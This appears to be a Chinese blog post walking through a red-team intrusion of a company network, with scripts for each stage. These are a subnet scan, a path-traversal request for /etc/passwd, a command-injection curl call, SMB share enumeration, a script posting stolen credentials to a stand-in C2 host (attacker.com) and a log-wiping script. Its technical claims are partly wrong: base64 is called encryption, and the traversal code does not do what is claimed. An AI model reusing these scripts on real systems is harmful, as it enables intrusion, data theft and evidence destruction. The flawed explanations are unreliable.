0x01 从一个真实案例说起

在一次红队攻防演练中,我接到了一个有趣的任务:渗透某知名互联网公司的内网。这家公司拥有庞大的网络结构,防御措施也相当完善,包括最新的EDR技术和严格的流量监控。然而,我知道,再强大的防御总有薄弱环节可以利用。

0x02 信息收集:攻击的第一步

在任何红队行动中,信息收集都是至关重要的步骤。在这次任务中,我首先进行了外部侦察,利用公开信息和网络爬虫技术获取目标的基础设施信息。常见的工具包括Shodan和Censys,它们可以帮助快速定位目标的IP和端口。

Bash脚本:快速扫描子网

我们可以使用Nmap和简单的Bash脚本来扫描一个子网,寻找开放的端口和服务:

<pre><code class="language-bash">#!/bin/bash

subnet=&quot;192.168.1.0/24&quot; output_file=&quot;scan_results.txt&quot;

echo &quot;Scanning subnet $subnet...&quot;

nmap -sS -p 22,80,443 -oG - $subnet | awk &#039;/Up$/{print $2}&#039; &gt; $output_file

echo &quot;Scan complete. Results saved in $output_file.&quot;</code></pre>

这段脚本能够快速识别子网内活动的设备及其开放的常见端口。通过这些信息,我找到了几个潜在的入口。

0x03 初步渗透:利用Web漏洞

在信息收集阶段,我发现目标网站的文件上传功能存在未验证的目录遍历漏洞。这是一种经典的Web漏洞,许多开发者在实现文件上传功能时忽略了对路径的严格验证。

Python代码:利用目录遍历漏洞

<pre><code class="language-python">import requests

url = &quot;http://target.com/upload&quot; file_path = &quot;../../../../../../etc/passwd&quot; # Unix系统中的敏感文件路径

files = { &#039;file&#039;: (file_path, open(&#039;local_file.txt&#039;, &#039;rb&#039;), &#039;application/octet-stream&#039;) }

response = requests.post(url, files=files)

if &quot;root:&quot; in response.text: print(&quot;[+] Successfully retrieved sensitive info!&quot;) else: print(&quot;[-] Exploit failed.&quot;)</code></pre>

在这个例子中,我构造了一个恶意请求,利用目录遍历漏洞读取服务器上的敏感信息。这一招在实战中屡试不爽。

0x04 权限提升:从普通用户到管理员

成功获得初步访问权限后,我需要提升自己的权限。在这次攻击中,目标服务器上一个过时的PHP版本给我提供了机会。这个版本存在一个远程代码执行漏洞,可以用来运行任意命令。

Bash脚本:利用RCE漏洞提升权限

<pre><code class="language-bash">#!/bin/bash

target_url=&quot;http://target.com/vulnerable.php&quot; cmd=&quot;whoami; id&quot;

黑客示意图

curl -X POST -d &quot;cmd=$cmd&quot; $target_url</code></pre>

这个脚本通过漏洞注入命令,成功执行服务器上的本地命令,确认了我的权限级别。接着,我利用本地提权漏洞(例如Dirty COW)进一步扩大攻击范围。

0x05 横向移动:内网漫游

一旦在目标服务器上获得更高权限,我开始横向移动,寻找更多的目标机器。在内网环境中,常用的技术包括利用SMB共享、传输恶意软件或者使用PsExec工具。

Python代码:自动化横向移动

<pre><code class="language-python">import os from smb.SMBConnection import SMBConnection

def connect_smb(target_ip, username, password): conn = SMBConnection(username, password, &quot;attacker&quot;, &quot;target&quot;, use_ntlm_v2=True) conn.connect(target_ip, 139) return conn

def list_shares(conn): shares = conn.listShares() for share in shares: print(&quot;Share Name: &quot;, share.name)

target_ip = &quot;192.168.1.105&quot; username = &quot;admin&quot; password = &quot;password&quot;

conn = connect_smb(target_ip, username, password) list_shares(conn)</code></pre>

黑客示意图

这段代码可以帮助我自动化地枚举内网中计算机的共享资源,让我能快速定位存储敏感数据的地方。

0x06 数据窃取:目标的终点

在红队任务中,数据窃取通常是最后一步,也是最关键的一步。在这次攻击中,我从多个数据库中窃取了大量用户信息和财务数据。这些数据被加密存储,并通过隐蔽的C2通道传输出去。

Python代码:窃取数据并加密传输

<pre><code class="language-python">import base64 import requests

def encrypt_data(data): return base64.b64encode(data.encode())

def send_to_c2(url, encrypted_data): payload = {&quot;data&quot;: encrypted_data} requests.post(url, json=payload)

sensitive_data = &quot;User1: password123, User2: qwerty&quot; c2_url = &quot;http://attacker.com/c2&quot;

encrypted_data = encrypt_data(sensitive_data) send_to_c2(c2_url, encrypted_data)</code></pre>

这段代码展示了如何通过简单的加密技术保护敏感数据,并安全地发送到攻击者的服务器。

0x07 痕迹清除:确保无迹

完成任务后,我需要清理痕迹,确保不会留下任何可追溯的线索。在这次任务中,我利用rootkit隐藏我的活动,并清除所有系统日志。

Bash脚本:简单的日志清除

<pre><code class="language-bash">#!/bin/bash

echo &quot;[+] Cleaning logs...&quot;

log_files=&quot;/var/log/auth.log /var/log/syslog&quot; for file in $log_files do echo &quot;Clearing log: $file&quot; &gt; $file done

echo &quot;[+] Logs cleared.&quot;</code></pre>

通过这个脚本,我可以有效地覆盖关键日志文件,确保不会暴露我的活动。

0x08 个人经验:实战笔记

黑客示意图

有一次,在一场红队演练中,我发现攻击路径不仅仅是技术问题,更是心理博弈。防守人员常常因为繁忙的工作而忽视一些简单但致命的漏洞,而攻击者则需要有敏锐的洞察力去发现这些机会。

在进行攻防演练时,我始终保持一种策略:从人性弱点开始,利用技术薄弱点结束。这种思维方式帮助我完成了许多看似不可能的任务。

最后,红队行动不仅仅是技术的较量,更是策略的体现。每次行动后,我都会反思:如果我是防御者,我会如何加强我的防线?这种思维,不断激励我精进技术。

---

合法声明:本文内容仅供授权安全测试和安全研究学习使用,请勿用于非法目的。

这篇文章希望能为你提供灵感,让你在红队攻防演练中走得更远。记住,实战为王,经验至上。